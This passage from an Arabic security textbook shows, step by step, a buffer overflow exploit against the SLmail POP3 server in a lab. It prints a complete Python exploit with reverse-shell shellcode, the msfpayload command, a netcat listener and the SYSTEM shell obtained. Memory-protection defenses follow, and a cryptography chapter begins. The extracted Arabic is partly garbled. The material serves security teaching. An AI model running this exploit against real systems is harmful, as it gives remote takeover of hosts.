‫نريد ُذنا حتديد موضع ال "‪ "4A’s‬التي أحدثت ‪ Overwrite‬لل ‪ EIP‬من بني ذذه ال ‪ A*2700‬ا ُمل َ‬

‫‪Security & Attacks‬‬


‫]‪[269‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذل تتذكر األسئلة التي طرحناذا بعد مثال ال ‪..Stack Overflow‬؟‬

‫كانت أين ومتى حدث ال ‪..Crash‬؟‬

‫سنقوم بعمل حسبة رياضية ِسيعة يف ُحماولة لتخمني مكان ذذه ال "‪ "4A’s‬داطل ال ‪ buffer‬ا ُمل َ‬
‫رسل‪.‬‬
‫ما رأيك بدالً من لرسال ال ”‪ “2700 A’s‬أن نقوم بقسمة ال ‪ 2700‬لىل قسمني‪ 1350 A’s ،‬و ‪ .1350 B’s‬قإن حدث‬
‫‪ Overwritten‬لل ‪ EIP‬باحلرف ‪ B‬قنستنتج أن ال ‪ Location‬يقع يف النصف الثاين من ال ‪ُ .buffer‬ثم بعدذا نقوم‬
‫بقسمة ال ‪ 1350 B’s‬ذذه لىل ‪ 1670 B’s‬و ‪ .1670 C’s‬وذكذا نستمر يف عملية القسمة وتغيري ال ‪ Character‬لىل أن‬
‫ننجح يف حتديد ال ‪ location‬املرجو‪.‬‬

‫ولكن ذذه الطريقة صعبة و ُمك ّلفة لىل حد ما!‪ ،‬ما رأيك بطريقة أيُس؟‬
‫سنقوم باستخدام أداتان من أدوات ال ‪Metasploit Framework‬‬

‫األوىل ”‪ “pattern_create.rb‬تقوم بإرسال ‪ String‬يتم تصميمها طصيص ًا‪ ،‬ثم حتديد ال ‪ 4 bytes‬التي قامت بعمل‬
‫‪ overwrite‬لل ‪ .EIP‬وبعدذا نستخدم األداة الثانية ”‪ “Pattern_offset.rb‬لتحديد َموضع ذذه ال ‪ 4 bytes‬بالضبط‬
‫داطل ذذه ال ‪.String‬‬

‫‪Security & Attacks‬‬


‫]‪[270‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذيا لنُشاذد مع ًا ماحيدُ ث!‪.‬‬

‫كام يظهر‪ ..‬لقد طلبنا من األداة تكوين ‪ُ string‬مكونة من ‪ 2700‬حرف‪.‬‬

‫وماذا سنفعل ِبذه ال ‪..String‬؟‬


‫ذل تذكُر ذذا السطر بالكود ‪buffer = 'A' * 2700‬‬

‫نقوم بنسخ ذذه ال ‪ string‬ووضعها ذنا لتكون ذي قيمة ال ‪ buffer‬اجلديدة‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[271‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫اآلن سنقوم بتنفيذ الكود مر ًة أطرى بعد أن نقوم بعمل ‪ restart‬لل ‪ process‬اخلاصة بال ‪ SLmail‬داطل الويندوز ألنه‬
‫قد حدث هلا ‪ crash‬جراء اهلجوم املايض!‪.‬‬
‫واآلن داطل الويندوز‪ ،‬قم بعمل ‪ attach‬مر ًة أطرى ُثم ‪ُ .Run‬‬
‫وعد لىل ال ‪ Terminal‬لنقوم بتنفيذ الكود اجلديد‪،‬‬
‫سنُسميه ”‪“fuzznew‬‬
‫‪root@Kali:~# ./fuzznew.py‬‬

‫جيد!‪ ..‬لنعود لىل ال ‪ Debugger‬كي نُشاذد ما حدث لل ‪..EIP‬‬


‫ستُشاذد يشء أشبه ِبذا‪:‬‬

‫لقد حدث ‪ Overwrite‬لل ‪ِ EIP‬بذه ال ‪ Hex bytes‬التي تم تظليلها يف الصورة!‪.‬‬


‫وماذا سنفعل اآلن؟‪.‬‬
‫سننسخ ذذه ال ‪ bytes‬ونقوم بإدطاهلا لىل األداة الثانية كي ُخترج لنا موضع أو ترتيب ذذه ال ‪ bytes‬داطل ال ‪String‬‬

‫وضح استخدام األداة الثانية يف حتديد موضع ال ‪ 4 bytes‬املطلوبة‪.‬‬ ‫التي أرسلناذا‪ .‬تأ ّمل معي الشكل التايل‪ُ ..‬‬
‫حيث ُي ِّ‬
‫سنقوم بإدطال مسار األداه متبوع ًا بال ‪ 4 bytes‬وذم ‪39 69 44 38‬‬

‫قتظهر لنا النتيجة‪:‬‬

‫‪Security & Attacks‬‬


‫]‪[272‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪[*] Exact match at offset 2606‬‬

‫ذيا لنُعيد لرسال ال ‪ buffer‬بعد معرقة ذذه املعلومات اخلطرية ‪.‬‬


‫سنقوم بتعديل ذذا السطر داطل الكود ليكون كالتايل‪:‬‬
‫‪buffer = "A" * 2606 + "B" * 4 + "C" * 90‬‬

‫ذذا يعني أن ال ‪ EIP‬البد أن حيدث هلا ‪ overwrite‬ب ”‪ “4 B’s‬أو ‪ 42 42 42 42‬بالنظام الثنائي‪ُ ،‬ثم أكملنا بقية ال‬
‫‪ buffer‬باحلرف ”‪.“C‬‬

‫‪Security & Attacks‬‬


‫]‪[273‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ث ‪ overwrite‬لل ‪ ،EIP‬أيض ًا ال ‪ ESP‬أصبحت تُشري لىل بداية ال ”‪ “C’s‬باألسفل يف اجلهة اليمنى‬


‫لقد َحدَ َ‬
‫ذذا عمل رائع!‪..‬‬
‫ذيا لننتقل لىل اخلطوة الثالثة‪..‬‬

‫‪Locating Space for our Shellcode‬‬


‫الحظنا يف الشكل املايض أن ال ‪ ESP‬أصبحت تُشري لىل بداية ال ‪ buffer‬الذي مألناه باحلرف ”‪ ،“C‬ذذا يدقعنا‬
‫الستبدال حروف ال ”‪ “C‬ذذه بال ‪ Shellcode‬اخلاص بنا‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[274‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ولكن ال ‪ shellcode‬الذي نحن بصدد استخدامه تصل مساحته لىل ‪ ،350 bytes‬بالتايل نحن بحاجة لزيادة حجم ال‬
‫‪ buffer‬ا ُمل َخ ّصص لل ‪.shellcode‬‬
‫سنقوم بإجراء تعديل عىل السطر ا ُملعتاد داطل الكود الذي كتبناه سابق ًا‪..‬‬
‫)‪buffer = "A" * 2606 + "B" * 4 + "C" * (3500 – 2606 - 4‬‬

‫واآلن‪ ،‬سنقوم بتنفيذ اهلجوم مر ًة أطرى للتأكُّد من نجاح عملية ال ‪ Allocation‬املبدأية لل ‪.shellcode‬‬

‫لقد نجحنا!!‪..‬‬
‫كام ترى حتت طانة ال ‪ ،Address‬تم تظليل ال ‪ address‬اخلاص ببداية ال ‪ shellcode‬وذو الذي تُشري لليه ال ‪.ESP‬‬
‫ولكن الحظ أن ال ‪ address‬الذي تُشري لليه ال ‪ ESP‬قد تغري يف املحاولة الثانية!‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[275‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وماذا نستفيد من كون أن ال ‪ ESP‬تُشري لىل ذذا ال ‪..Address‬؟‬


‫نستفيد أنه لو استطعنا عمل ‪ redirection‬لل ‪ Execution flow‬أثناء حدوث ال ‪ crash‬بحيث َحيدُ ث ‪ Jump‬لىل ال‬
‫”‪ “Address of ESP Register‬سنكون ِبذا حققنا ذدقنا‪.‬‬

‫وما ذو ذدقنا؟‬
‫بام أن ال ‪ ESP‬تُشري لىل موضع ال ‪ ،shellcode‬قهذا يعني أنه سيتم تنفيذ ال ‪ shellcode‬وذو عبارة عن ‪Reverse‬‬

‫‪.shell‬‬
‫لذ ًا‪ ..‬نحن اآلن بحاجة للبحث عن ‪ Instruction‬من نوع ‪ JMP ESP‬كي نُجرب ال ‪ CPU‬بالقفز لىل ال ‪ ESP‬أثناء‬
‫حدوث ال ‪.crash‬‬

‫وملاذا ال نُعطيه نحن ذذا ال ‪ Address of ESP‬لتوقري عناء البحث عن ذذه ال ‪ instruction‬داطل ال ‪..Memory‬؟‬
‫كام رأينا أن ذذا ال ‪ Address‬يتم تغيريه يف كل مرة حيدث قيها ‪ crash‬هلذه ال ‪ ،process‬وبالتايل لن ُيمكنُنا معرقة‬
‫عنوانه!‪ ،‬وعوض ًا عن ذلك‪ ،‬سنبحث عن ذذه ال ‪ instruction‬التي تقوم بالقفز لىل ال ‪ ESP‬كنوع من التحايل عىل‬
‫ذذه املشكلة‪.‬‬

‫ذذا ُمتاز‪ ..‬ذيا لننتقل لىل اخلطوة الرابعة‪..‬‬

‫‪Security & Attacks‬‬


‫]‪[276‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Redirecting the Execution Flow‬‬


‫نحن اآلن نمتلك ال ‪ ،EIP‬وذي املسؤوله عن االنتقال لىل ال ‪ instruction‬التالية كي يتم تنفيذذا‪ ..‬أليس كذلك؟‬
‫كام أننا نعلم ال ‪ instruction‬التالية التي نود االنتقال لليها‪ ..‬وذي ‪ ،Jmp ESP‬ولدينا ال ‪ shellcode‬الذي وضعناه يف‬
‫ٍ‬
‫مكان ما يف ال ‪.memory‬‬
‫يتبقى لنا اآلن لجياد ذذه ال ‪ instruction‬التي تنتمي ألي ‪ Executable‬غري حممي بتقنية ال ‪ DEP‬و ال ‪ ASLR‬كي‬
‫نستخدم ُه هلذه املهمة اخلطرية ‪.‬‬
‫ذل تذكر ذذا ال ‪ DEP‬وال ‪..ASLR‬؟‬
‫سنستخدم هلذه املهمة ‪ُ Script‬يسمى ‪ mona.py‬وذو أحد ال ‪ Scripts‬اخلاصة ِبذا ال ‪ Debugger‬الرائع‪.‬‬
‫ذذا ال ‪ Script‬سنطلب منه أن يبحث لنا داطل ال ‪ memory‬عن أي ‪ module‬أو ‪ executable‬تتوقر به اخلصائص‬
‫التي نُريدذا‪ ،‬وذي أن يكون ذذا امللف غري حممي كام ذكرنا سابق ًا‪ ،‬ثم بعدا نقوم بالبحث داطل ذذا ال ‪ module‬عن ال‬
‫‪ Instruction‬التي نُريد‪ ..‬وذي ‪.Jmp ESP‬‬
‫ماييل النتائج التي أطرجها لنا ‪..mona.py‬‬

‫الحظ ال ‪ DLL‬ا ُملظلل باألبيض‪ ..‬لنه أحد امللفات املوجودة يف ال ‪ system32‬داطل ال ‪ ،windows‬يف احلقيقة أنه‬
‫ليس ملف ًا باملعنى احلريف‪ ،‬بل ذو ‪ .Application Library‬ذذا ال ‪ DLL‬ال يتعرض لىل ال ‪ Rebase‬يف كل عملية‬
‫‪ ،reboot‬أيض ًا غري حممي بتقنيات ال ‪ ،SafeSEH‬أو ال ‪ ،DEP‬أو ال ‪.ASLR‬‬

‫‪Security & Attacks‬‬


‫]‪[277‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ذذا اطتيار مثايل!!‪..‬‬


‫واآلن سنبحث بداطله عن ‪ ،Jmp ESP‬ولكن ال ُيمكنُنا كتابتها ذكذا يف طانة البحث!‪ ..‬نحن بحاجة لىل ال ‪opcode‬‬

‫نقوم بالبحث بكتابة األمر كام ذو موضح بالشكل التايل‪:‬‬ ‫‪،FF E4‬‬ ‫ا ُملقابل هلذه ال ‪ ،instruction‬وذو‬

‫نقوم بالنقر ا ُملزدوج عىل ذذا ال ‪ address‬ا ُمل َظلل باللون األبيض لتظهر لنا ال ‪ instruction‬بشكل واضح كامييل‪:‬‬

‫ا ُملحصلة حتى اآلن‪..‬‬


‫نحن بحاجة لتوجيه ال ‪ Execution flow‬أثناء حدوث ال ‪ crash‬وذو ا ُملتمثِّل يف ال ‪ EIP‬التي استطعنا عمل‬
‫‪ overwrite‬هلا‪ ..‬لىل ذذا ال ‪ address‬الذي يقع داطل ال ‪ DLL‬ا ُملسمى ‪ slmfc.dll‬والذي يقوم بعمل ‪ Jump‬لىل ال‬
‫‪ ،ESP‬والتي بدورذا تُشري لىل ال ‪ shellcode‬اخلاص بنا!‪.‬‬

‫‪Security & Attacks‬‬


‫]‪[278‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..!!‫ذذا ُمدذش‬
..‫ذيا بنا لننتقل لىل اخلطوة األطرية‬

Getting the Shell


.‫ الذي نُريده‬shellcode ‫“ بال‬C’s” ‫ بقي لنا استبدال ال‬،‫ وبعد أن حصلنا عىل كل ما نُريد‬،‫اآلن‬
..‫تعال معي لنُشاذد الشكل النهائي للكود الذي سنقوم بتنفيذه‬

#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

shellcode =
("\xbb\xdc\x0e\x23\x1c\xd9\xed\xd9\x74\x24\xf4\x5f\x33\xc9" +
"\xb1\x4f\x31\x5f\x14\x83\xef\xfc\x03\x5f\x10\x3e\xfb\xdf" +
"\xf4\x37\x04\x20\x05\x27\x8c\xc5\x34\x75\xea\x8e\x65\x49" +
"\x78\xc2\x85\x22\x2c\xf7\x1e\x46\xf9\xf8\x97\xec\xdf\x37" +
"\x27\xc1\xdf\x94\xeb\x40\x9c\xe6\x3f\xa2\x9d\x28\x32\xa3" +
"\xda\x55\xbd\xf1\xb3\x12\x6c\xe5\xb0\x67\xad\x04\x17\xec" +
"\x8d\x7e\x12\x33\x79\x34\x1d\x64\xd2\x43\x55\x9c\x58\x0b" +
"\x46\x9d\x8d\x48\xba\xd4\xba\xba\x48\xe7\x6a\xf3\xb1\xd9" +
"\x52\x5f\x8c\xd5\x5e\x9e\xc8\xd2\x80\xd5\x22\x21\x3c\xed" +
"\xf0\x5b\x9a\x78\xe5\xfc\x69\xda\xcd\xfd\xbe\xbc\x86\xf2" +
"\x0b\xcb\xc1\x16\x8d\x18\x7a\x22\x06\x9f\xad\xa2\x5c\xbb" +
"\x69\xee\x07\xa2\x28\x4a\xe9\xdb\x2b\x32\x56\x79\x27\xd1" +
"\x83\xfb\x6a\xbe\x60\x31\x95\x3e\xef\x42\xe6\x0c\xb0\xf8" +
"\x60\x3d\x39\x26\x76\x42\x10\x9e\xe8\xbd\x9b\xde\x21\x7a" +
"\xcf\x8e\x59\xab\x70\x45\x9a\x54\xa5\xc9\xca\xfa\x16\xa9" +
"\xba\xba\xc6\x41\xd1\x34\x38\x71\xda\x9e\x4f\xb6\x4d\x2b" +
"\x50\x38\x8a\x43\x52\x38\x93\x28\xdb\xde\xf9\x5e\x8a\x49" +
"\x96\xc7\x97\x01\x07\x07\x02\x81\xa4\x9a\xc9\x51\xa2\x86" +
"\x45\x06\xe3\x79\x9c\xc2\x19\x23\x36\xf0\xe3\xb5\x71\xb0" +

Security & Attacks


[279]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

"\x3f\x06\x7f\x39\xcd\x32\x5b\x29\x0b\xba\xe7\x1d\xc3\xed" +
"\xb1\xcb\xa5\x47\x70\xa5\x7f\x3b\xda\x21\xf9\x77\xdd\x37" +
"\x06\x52\xab\xd7\xb7\x0b\xea\xe8\x78\xdc\xfa\x91\x64\x7c" +
"\x04\x48\x2d\x8c\x4f\xd0\x04\x05\x16\x81\x14\x48\xa9\x7c" +
"\x5a\x75\x2a\x74\x23\x82\x32\xfd\x26\xce\xf4\xee\x5a\x5f" +
"\x91\x10\xc8\x60\xb0")

Buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

try:
print "\Sending buffer..."
s.connect(('192.168.18.131',110))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS' + buffer + '\r\n')
s.close()
print "\Done."

except:
print "Could not connect to POP3!"

..buffer ‫يظهر بعض التعديالت عىل السطر اخلاص بال‬


Buffer = "A" * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 8 + shellcode

‫ الذي عثرنا عليه‬Jmp ESP ‫ اخلاص بال‬address ‫ بال‬EIP ‫ لل‬overwrite ‫“ التي قامت بعمل‬4B’s” ‫لقد استبدلنا ال‬
.slmfc.dll ‫داطل ال‬
ُ "\x90" ‫ وذو‬،‫ معني ُمكرر ثامين مرات‬opcode ‫أيض ًا ُقمنا بإضاقة‬
“No Operation” ‫حيث يعني‬

‫؟‬..NOP ‫وما ذذا ال‬


(Do nothing, and execute the next instruction) ..‫ تعني ماييل‬instruction ‫لهنا‬

Security & Attacks


[280]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وعندما ينتقل ال ‪ EIP‬لىل ال ‪ instruction‬التالية جيدذا مثلها‪ ..‬وذكذا لىل أن يصل لىل بداية ال ‪.shellcode‬‬

‫ولكن ملاذا ُقمنا بإضاقتها بأي حال؟‪.‬‬


‫ملاذا مل نضع ال ‪ُ shellcode‬مبارش ًة بعد توجيه ال ‪ EIP‬لىل ُ‬
‫حيث تُشري ال ‪.. ESP‬؟‬
‫جراء عملية ال ‪ ،Jump‬قنضع له ذذه ال‬
‫كي نتجنب ضياع أي عدد من ال ‪ bytes‬الواقعة يف بداية ال ‪ّ shellcode‬‬
‫‪ NOPs‬كي يقع ال ‪ Pointer‬يف ٍ‬
‫أي منها و ُيكمل السري لىل أن يصل لىل ال ‪.shellcode‬‬

‫وأطري ًا ذذا ال ‪ shellcode‬حصلنا عليه باستخدام أحد موديوالت ال ‪ Metasploit‬وذو ‪ ،msfpayload‬وحيتاج منا‬
‫بعض املعلومات األساسية كال ‪ Local IP‬اخلاص بنا وال ‪،Local Port‬‬
‫ولغة الربجمة قيام لذا كانت ‪ C‬أو ‪.Python‬‬
‫‪root@kali:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.18.128‬‬
‫‪LPORT=443 C‬‬

‫تبدو األمور ُُمتازة لىل اآلن!‪.‬‬


‫بقي لنا أن ننتظر ذذا ال ‪ reverse shell‬الذي سيأيت لنا من ال ‪ ..Win XP‬ذذا يعني أننا جيب أن نكون يف وضع ال‬
‫َ‬
‫‪ Listening‬كي نتمكن من استقبال ذذا اإلتصال العكيس‪.‬‬
‫تقوم لنا أداة ‪ِ Netcat‬بذه ا ُملهمة‪ ،‬نقوم بفتح ‪ Tab‬جديد داطل ال ‪ Terminal‬وكتابة ذذا األمر‪:‬‬

‫‪root@kali:~# nc -nlvp 443‬‬


‫‪root@kali:~#‬‬

‫‪Security & Attacks‬‬


‫]‪[281‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

..‫ من جديد‬Attack ‫ُثم نبدأ ال‬


root@kali:~# ./fuzznew.py
Sending buffer...
Done.

.Victim ‫ لننتظر اإلتصال القادم من ال‬Netcat ‫ اخلاص بأداة‬Tab ‫واآلن نعود لىل ال‬
root@kali:~# nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.18.128] from (UNKNOWN) [192.168.18.131] 49557
Microsoft Windows XP SP3
Copyright (c) Microsoft Corporation. All rights reserved.
C:\Program Files\SLmail\System>whoami
whoami
nt authority\system

.System Privileges ‫ وذي‬..!‫ حصلنا عىل أعىل الصالحيات‬..‫ذا نحن ذا‬

..‫سنكتفي ِبذا القدر‬

Operating Systems ‫ ا ُملستخدمة حلامية ال‬Protection Mechanisms ‫سننتقل للحديث عن ال‬

.‫ من عمليات التالعب ذذه‬memory ‫وال‬

Security & Attacks


[282]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Protection Mechanisms‬‬

‫سنتحدث بشكل ُُمترص عن عدة تقنيات أمنية تستخدمها أنظمة التشغيل املختلفة‪.‬‬
‫ُيمكنُنا تلخيص عملية االطرتاق احلادث يف ثالثة ططوات رئيسية‪:‬‬
‫‪ ‬األوىل ذي حدوث طلل يف ال ‪ memory‬املخصصة هلذا الربنامج أو ال ‪.application‬‬

‫نغري مسار ذذا ال ‪ flow‬لىل يشء آطر‪.‬‬


‫‪ ‬والثانية ذي حماولة السيطرة عىل ال ‪ flow‬الطبيعي للربنامج بأن ِّ‬
‫ٍ‬
‫مكان ما داطل ال ‪.memory‬‬ ‫‪ ‬والثالثة ذي عملية ال ‪ execution‬لل ‪ shellcode‬الذي قمنا بزرعه يف‬

‫وبمعرقة التهديدات التي يتعرض هلا نظام التشغيل يمكننا ختيل طرق احلامية املناسبة هلذه الثغرات‪.‬‬
‫نبدأ بأول طريقة‪:‬‬

‫‪Nonexecutable Stack‬‬
‫ذذا لجراء واضح و مبارش ملنع ثغرات ال ‪ .Buffer Overflow‬قإذا متكنت من وضع ال ‪ Shellcode‬اخلاص بك يف‬
‫أي مكان تريده يف ال ‪.. memory‬قلن تتمكن من تنفيذه!‪ ،‬وبالتايل لن يكون له أمهية‪.‬‬
‫‪This feature enabled by default in most Linux distributions, OpenBSD, Mac OS X, Solaris, and‬‬
‫‪Windows.‬‬
‫َق َظ َهر تكنيك بإسم )‪ ،ret2libc (returning into libc‬وذي ‪ library‬حتوي بعض ال ‪ functions‬كال ) ( ‪ printf‬و ال‬
‫) (‪.. ،exit‬ذذه ال ‪ functions‬تعترب ‪ shared‬بمعنى أن أي برنامج يستخدم ذذه ال ‪ function‬سيتمكن من توجيه‬
‫مسار ال ‪ execution‬لىل مكان ذذه ال ‪ function‬داطل ال ‪.libc‬‬

‫‪Security & Attacks‬‬


‫]‪[283‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قوجود ثغرة يف الربنامج ستُمكننا من توجيه ال ‪ execution‬لىل أي ‪ function‬تقع يف ذذه ال ‪ .lib‬تطور ذذا األمر‬
‫ليشمل بعض التكنيكات األطرى مثل‪:‬‬
‫‪ret2plt, ret2strcpy, ret2gets, ret2syscall, ret2data, ret2text,‬‬
‫‪ret2code, ret2dl-resolve, and chained ret2code.‬‬

‫‪W^X Memory‬‬
‫ذذه اخلاصية باطتصار تعني اآليت‪:‬‬
‫‪Making writable memory non-executable, and executable memory non-writable.‬‬
‫وبتطبيق ذذه اخلاصية سيكون من الصعب عمل ‪ inject‬لل ‪ shellcode‬يف حالة وجود ‪.vulnerable program‬‬
‫لذا تم تطبيق ذذه ال ‪ mechanism‬وحدذا قلن تتمكن من منع كل التكنيكات التي عرضناذا قوق‪ ،‬يبدو أهنا َس ُتفلح‬
‫ققط مع ثالثة منهم‪ .‬وذم ‪ .ret2strcpy, ret2gets, and ret2data‬قينبغي تدعيمها بتقنيات أطرى‪..‬‬
‫لكنها قكرة ُمتازة‪ ،‬استفادت منها ‪ Microsoft‬عندما طورت ال )‪ DEP (Data Execution Prevention‬يف لصدار‬
‫‪ Win XP SP2‬حيث تعتمد قكرته عىل ذذه النظرية‪.‬‬

‫)‪Canaries (Stack Protection‬‬


‫ذذه اخلاصية تأطذ لسم طائر الكناري‪ ،‬ولتقريب وظيفة ذذه اخلاصية أكثر سنتكلم عن وظيفة ذذا الطائر عند ُعامل‬
‫مناجم الذذب‪ .‬حيمل ال ُعامل معهم ذذا الطائر وذم يف طريقهم للحفر‪ ،‬قكلام تعمقوا أكثر‪..‬‬
‫كلام قل األكسجني أكثر‪ ،‬وذكذا لىل أن ينعدم‪..‬‬

‫‪Security & Attacks‬‬


‫]‪[284‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قائدة ذذا الطائر ذي أنه أكثر حساسي ًة منهم لألكسجني‪ ..‬وبالتايل سيتعرض لالطتناق ُمبكر ًا ُمنذر ًا بذلك ططورة‬
‫استكامل التعمق بالداطل‪..‬‬
‫وذذا بالضبط ما نريد تطبيقه كنوع من أنواع ال ‪ protection‬لل ‪.Stack‬‬
‫ٍ‬
‫مكان ما بني ال ‪ buffers‬والبيانات احلساسة التي نود محايتها‪ ،‬ويف‬ ‫قهي عبارة عن ‪ 32 bits values‬يتم وضعها يف‬
‫حالة حدوث ‪ ..buffer overflow‬ستتعرض ذذه ال ‪ Canaries‬هلذا ال ‪ overflow‬أوالً‪ُ ..‬منذر ًة بذلك الربنامج‬
‫بحدوث طلل قبل وصول ال ‪ overflow‬هلذه البيانات‪.‬‬

‫ماييل شكل يوضح ال ‪ Stack‬مع وجود ال ‪ canary‬بني ال ‪ buffers‬و ال ‪.variables‬‬


‫‪↑ Lower addresses‬‬
‫‪var2‬‬ ‫‪4 bytes‬‬
‫‪buf‬‬ ‫‪80 bytes‬‬
‫‪var1‬‬ ‫‪4 bytes‬‬
‫‪saved ebp‬‬ ‫‪4 bytes‬‬
‫‪canary‬‬ ‫‪4 bytes‬‬
‫‪return address‬‬ ‫‪4 bytes‬‬
‫‪arg‬‬ ‫‪4 bytes‬‬
‫‪↓ Higher addresses‬‬

‫نختم ذذا الباب بالشكل التايل‪ ،‬والذي يوضح مفهوم حتقيق احلامية عىل عدة طبقات وباستخدام عدة تقنيات‪.‬‬
‫”‪“Using different methods in multiple layers of security‬‬

‫وذذا ما ُيط َلق عليه ”‪“Defense in Depth‬‬

‫‪Security & Attacks‬‬


‫]‪[285‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Security & Attacks


[286]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الشكل يوضح حماوالت اطرتاق عدة‪ ،‬يتم لحباطها بعدة آليات‪:‬‬


‫‪ ‬قفي الشكل األول تم لحباط املحاولة عن طريق ال ”‪ ،“Firewall‬بسبب ال ‪ Rules‬التي تتصدى ألغلب‬

‫اهلجامت‪.‬‬

‫َ‬
‫أمسك به ال ”‪.“IPS‬‬ ‫‪ ‬يف الشكل الثاين استطاع الشاب جتاوز ال ‪ ،FW‬لكن‬

‫‪ ‬يف احلالة الثالثة استطاع جتاوزذم ليصل لىل اجلهاز املرجو!‪ ،‬لكن تم اإلمساك به بواسطة ال ”‪.“Anti Virus‬‬

‫وحياول نقله!‪ ،‬لكن مل َيف َلح ب َس َبب ت َ‬


‫َصدي ال ”‪“DLP‬‬ ‫يف الشكل الرابع يظهر أنه استطاع نسخ ملف ُ‬ ‫‪‬‬
‫)‪(Data Leakage Preventions‬‬
‫حني َقام ب َفتحها قوجئ ب ّأهنا َحممية بواسطة ال‬
‫‪ ‬ويف الشكل األطري استطاع َِس َقة ال ‪ Data‬ولكن َ‬
‫”‪“Digital Rights Management‬‬

‫‪Security & Attacks‬‬


‫]‪[287‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[288]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Part IV
Cryptography

Cryptography
[289]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[290]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Introduction‬‬

‫أت ََذكر قصة َحدَ َثت يف َعهد َأ َحد ُحكام اخلالقة األُ َموية يف األند ُلس‪..‬‬
‫عركَة أو‬
‫طاض نحو َخسني َم َ‬ ‫َذذا الر ُجل اخلارق كان َمصدَ ر ًا ُّ‬
‫للرعب عندَ أعدائه يف األندلس وطارجها!‪ ،‬ققد قيل أن ُه َ‬

‫غزوة‪ ،‬مل ُهي َزم قيهم َقط!‪ .‬واتس َعت دولة املُسلمني يف األندَ لس بشكل كبري يف َعهده لكثرة ا َملدائن وا ُ‬
‫حل ُصون التي كان‬
‫َيقوم باسرتدادذا أو َقتحها َو َوضعها َحت َت قيادته‪.‬‬

‫َباذته‪ ،‬و ُط ُموحه الكبري‪ ،‬ومهتَه العالية‪ ،‬و َذكائه ال َف ّذ!‪ .‬الت ََح َق‬
‫ف ُمن ُذ ص َغره بن َ‬
‫ُحمَمد بن أيب عامر (احلاجب املنصور)‪ُ ..‬عر َ‬
‫ليدرس علوم األدب واحلديث يف ُقر ُطبة‪ُ ،‬ثم َبدأت رحلته َم َع قرص اخلالقة بتَوليه عدة َمناصب ب َشكل تدرجيي‪ ..‬لىل أن‬
‫ال هلشام‪ ..‬لبن اخلليفة "املستنرص باهلل"‪.‬‬ ‫َ‬
‫وكان حينها وكي ً‬ ‫تَم تسليمه قيادة الرشطة‪،‬‬

‫وبعد وقاة اخلليفة كان ذشام اليزال صغري ًا!‪ ،‬قت ََسلم ُحمَمد بن أيب عامر َمقاليد األمور حلني ُبلوغ اخلليفة الصغري ّ‬
‫السن‬

‫ا ُملناسب لتَويل ُ‬
‫السلطه‪ُ .‬ثم َبدَ أ التاريخ ُي ِّ‬
‫سجل لنجازاته ال َعسكرية غري املسبوقة!‪.‬‬

‫َلن نَخوض يف َذذه اإلنجازات َق َهذا َ‬


‫ليس َمكاهنا‪ ،‬ولكن سأروي لكُم قصة ِسيعة‪:‬‬

‫يف يوم من األيام‪ ..‬اس َت َقر احلاجب املَنصور يف لحدى غزواته بمدينة "سامل" ُ‬
‫وذو الثغر الذى َبنا ُه عىل ُحدود الدُ َول‬
‫وط َط َرت َل ُه طاط َرة عىل َمدى ذكائه وتوقعاته‪ ،‬قاستدعى أحد قرسانه يف ليلة شديدة‬
‫النرصانية يف َشامل األندَ ُلس‪َ ،‬‬
‫الربد‪ ،‬كثرية االمطار‪ ،‬وكلف ُه أن خيرج اىل مكان من ا َملضيق ُقرب ذذه املدينة‪ ،‬وقال له‪:‬‬
‫"من مر بك يف ذذه الليلة‪ ..‬تأيت به ليل كائن ًا من كان"‬

‫‪Cryptography‬‬
‫]‪[291‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قاستغرب الفارس وبدأ يتسائل يف نفسه‪ ..‬ومن َخي ُرج يف مثل ذذه الليلة؟ الربد القارص واملطر الغزير!‪.‬‬

‫نف َذ الفارس األمر‪ ،‬وبقي ُ‬


